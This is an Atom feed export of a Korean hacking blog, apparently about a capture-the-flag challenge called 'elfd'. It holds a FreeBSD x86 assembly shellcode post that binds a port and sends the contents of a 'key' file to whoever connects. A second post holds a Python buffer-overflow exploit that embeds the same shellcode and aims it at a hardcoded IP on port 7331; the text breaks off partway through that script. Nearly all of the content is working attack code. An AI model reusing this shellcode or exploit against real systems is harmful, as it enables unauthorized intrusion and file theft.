<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4767372580884904177</id><updated>2012-02-16T19:33:51.672+09:00</updated><category term='CTF'/><category term='해킹'/><category term='FreeBSD'/><category term='루트킷'/><category term='rootkit'/><title type='text'>Nyam-space</title><subtitle type='html'>함께 길을 걸어갑시다.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nyam-textcube.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://nyam-textcube.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>nyamnyam</name><uri>http://www.blogger.com/profile/02988925197666068481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>6</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4767372580884904177.post-140447155430736855</id><published>2010-07-08T13:47:00.000+09:00</published><updated>2011-01-30T13:05:45.786+09:00</updated><title type='text'>elfd용 쉘코드 이름하여 bind read key</title><content type='html'>&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;movb $6, %al&lt;/div&gt;&lt;div&gt;movzx %al, %eax&lt;/div&gt;&lt;div&gt;push %eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#push 6&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;xor %eax, %eax&lt;/div&gt;&lt;div&gt;inc %eax&lt;/div&gt;&lt;div&gt;push %eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#push 1&lt;/div&gt;&lt;div&gt;inc %eax&lt;/div&gt;&lt;div&gt;push %eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#push 2&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;xor %eax, %eax&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;movb $97, %al&lt;/div&gt;&lt;div&gt;int $0x80 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ## %esi = socket(2,1,6)&lt;/div&gt;&lt;div&gt;mov %eax, %esi&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;xor %eax, %eax&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;push $0xAAAA0210&lt;/div&gt;&lt;div&gt;mov %esp, %ebx&lt;/div&gt;&lt;div&gt;movb $0x10, %al&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;push %ebx&lt;/div&gt;&lt;div&gt;push %esi&lt;/div&gt;&lt;div&gt;push %esi&lt;/div&gt;&lt;div&gt;movb $104, %al &amp;nbsp; &amp;nbsp; &amp;nbsp; ## bind(port=0xAAAA)&lt;/div&gt;&lt;div&gt;int $0x80&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;pop %esi&lt;/div&gt;&lt;div&gt;xor %eax, %eax&lt;/div&gt;&lt;div&gt;inc %eax&lt;/div&gt;&lt;div&gt;push %eax &amp;nbsp; #push 1&lt;/div&gt;&lt;div&gt;push %esi&lt;/div&gt;&lt;div&gt;push %esi&lt;/div&gt;&lt;div&gt;movb $106, %al&lt;/div&gt;&lt;div&gt;int $0x80 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;## listen(1)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;pop %esi&lt;/div&gt;&lt;div&gt;xor %eax, %eax&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;push %esi&lt;/div&gt;&lt;div&gt;push %esi&lt;/div&gt;&lt;div&gt;movb $30, %al&lt;/div&gt;&lt;div&gt;int $0x80 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;## accept&lt;/div&gt;&lt;div&gt;mov %eax, %edi&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;# eax, ebx = temporary&lt;/div&gt;&lt;div&gt;# ecx = buffer&lt;/div&gt;&lt;div&gt;# edx = fd&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;thestart:&lt;/div&gt;&lt;div&gt;xorl %eax, %eax&lt;/div&gt;&lt;div&gt;popl %ebx&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;push %eax&lt;/div&gt;&lt;div&gt;push %ebx #file path&lt;/div&gt;&lt;div&gt;push %ebx #dummy&lt;/div&gt;&lt;div&gt;movb $5, %al&lt;/div&gt;&lt;div&gt;int $0x80&lt;/div&gt;&lt;div&gt;movl %eax, %edx&lt;/div&gt;&lt;div&gt;######## edx=open (filepath, 0, 0)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;movl %esp, %ecx&lt;/div&gt;&lt;div&gt;movw $0x101, %cx&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;xorl %eax, %eax&lt;/div&gt;&lt;div&gt;movb $0xff, %al&lt;/div&gt;&lt;div&gt;push %eax # read 255 bytes&lt;/div&gt;&lt;div&gt;push %ecx # buffer&lt;/div&gt;&lt;div&gt;push %edx # fd&lt;/div&gt;&lt;div&gt;push %edx # dummy&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;movb $3, %al&lt;/div&gt;&lt;div&gt;int $0x80&lt;/div&gt;&lt;div&gt;movl %eax, %edx&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;######## read (edx, ecx, 255)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;xorl %eax, %eax&lt;/div&gt;&lt;div&gt;movb $0xff, %al&lt;/div&gt;&lt;div&gt;push %eax &amp;nbsp; &amp;nbsp;## 255 bytes&lt;/div&gt;&lt;div&gt;push %ecx &amp;nbsp; &amp;nbsp;## buff&lt;/div&gt;&lt;div&gt;push %edi&lt;/div&gt;&lt;div&gt;push %eax #dummy&lt;/div&gt;&lt;div&gt;movb $4, %al&lt;/div&gt;&lt;div&gt;int $0x80&lt;/div&gt;&lt;div&gt;######## write (1, ecx, 255)&lt;/div&gt;&lt;div&gt;path:&lt;/div&gt;&lt;div&gt;call thestart&lt;/div&gt;&lt;div&gt;.ascii "key\0"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4767372580884904177-140447155430736855?l=nyam-textcube.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nyam-textcube.blogspot.com/feeds/140447155430736855/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://nyam-textcube.blogspot.com/2010/07/elfd%EC%9A%A9-%EC%89%98%EC%BD%94%EB%93%9C-%EC%9D%B4%EB%A6%84%ED%95%98%EC%97%AC-bind-read-key.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/140447155430736855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/140447155430736855'/><link rel='alternate' type='text/html' href='http://nyam-textcube.blogspot.com/2010/07/elfd%EC%9A%A9-%EC%89%98%EC%BD%94%EB%93%9C-%EC%9D%B4%EB%A6%84%ED%95%98%EC%97%AC-bind-read-key.html' title='elfd용 쉘코드 이름하여 bind read key'/><author><name>nyamnyam</name><uri>http://www.blogger.com/profile/02988925197666068481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4767372580884904177.post-3658403799836047314</id><published>2010-07-08T04:08:00.000+09:00</published><updated>2011-01-30T13:05:45.743+09:00</updated><title type='text'>elfd 익스플로잇 인증!!!!!!!!! (1시 44분 수정)</title><content type='html'>&lt;div&gt;&lt;div&gt;#!/usr/bin/env python&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;import socket&lt;/div&gt;&lt;div&gt;import time&lt;/div&gt;&lt;div&gt;import struct&lt;/div&gt;&lt;div&gt;import random&lt;/div&gt;&lt;div&gt;import sys&lt;/div&gt;&lt;div&gt;import os&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;g_startaddr = 0xbfbfec40&lt;/div&gt;&lt;div&gt;g_ip = 217&lt;/div&gt;&lt;div&gt;g_target = '141.223.175.253'&lt;/div&gt;&lt;div&gt;g_sleep = 0.05&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;def genbyte(a):&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return (int (random.random()*(65536 - 1024) + 1024) &amp;amp; 0xFF00 ) + a&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;def go_exploit(addr, debug=False):&lt;/div&gt;&lt;div&gt;# bind shellcode (port = 0xAAAA)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;global g_ip, g_target, g_sleep&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc="\xb0\x06\x0f\xb6\xc0\x50\x31\xc0\x40\x50\x40\x50\x31\xc0\x50"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc=shc+"\xb0\x61\xcd\x80\x89\xc6\x31\xc0\x50\x50\x50\x68\x10\x02\xaa"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc=shc+"\xaa\x89\xe3\xb0\x10\x50\x53\x56\x56\xb0\x68\xcd\x80\x5e\x31"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc=shc+"\xc0\x40\x50\x56\x56\xb0\x6a\xcd\x80\x5e\x31\xc0\x50\x50\x56"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc=shc+"\x56\xb0\x1e\xcd\x80\x89\xc7\x31\xc0\x5b\x50\x50\x53\x53\xb0"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc=shc+"\x05\xcd\x80\x89\xc2\x89\xe1\x66\xb9\x01\x01\x31\xc0\xb0\xff"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc=shc+"\x50\x51\x52\x52\xb0\x03\xcd\x80\x89\xc2\x31\xc0\xb0\xff\x50"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc=shc+"\x51\x57\x50\xb0\x04\xcd\x80\xe8\xce\xff\xff\xff\x6b\x65\x79"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shc=shc+"\x00"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_buf = "\x90" * 40 + struct.pack("&amp;lt;I", addr) + "\x90"*100 + shc + "\x0a"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_phase = [0,]&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_local_port = []&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_remote_port = []&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_listen_port = []&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata = []&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for i in range(len(g_buf)):&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_phase.append(ord(g_buf[i]) &amp;amp; 0x3)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_remote_port.append(0)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_local_port.append(0)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_listen_port.append(0)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata.append(0)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cnt = 0&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for i in range(len(g_buf)):&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ch = ord(g_buf[i])&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if i==0:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_local_port[i] = genbyte(ch)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata[i] = genbyte(ch+1)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if g_phase[i] == 0 or g_phase[i] == 1:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_local_port[i] = genbyte(ch)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata[i] = genbyte(ch+1)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if g_senddata[i] == g_senddata[i-1]:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if cnt == 0:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cnt = 1&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata[i] += 0x100&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cnt = 0&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata[i] -= 0x100&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_remote_port[i] = g_senddata[i-1]&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if g_phase[i] == 2 or g_phase[i] == 3:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_listen_port[i] = g_senddata[i-1]&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata[i] = genbyte(ch)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (g_listen_port[i] == g_senddata[i]):&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if cnt == 0:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cnt = 1&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata[i] += 0x100&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cnt = 0&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_senddata[i] -= 0x100&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s.bind(('0.0.0.0', g_local_port[0]))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s.connect((g_target, 7331))&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsock = None&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsocktype = None&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print "Attack strategy ======================================="&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print "phase(data), local port, remote port, listen port, send data"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for i in range(len(g_buf)):&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print "[%3d] %d(%02x) - %04x, %04x, %04x, %04x"%(i,g_phase[i], ord(g_buf[i]), g_local_port[i], g_remote_port[i], g_listen_port[i], g_senddata[i])&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print "\n\nAttack started ======================================="&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for i in range(len(g_buf)):&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug : print " ((( &amp;nbsp;%d &amp;nbsp; )))" % i&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if i+1&amp;lt;len(g_buf): #prepare next attack&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (g_phase[i+1]==2):&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; 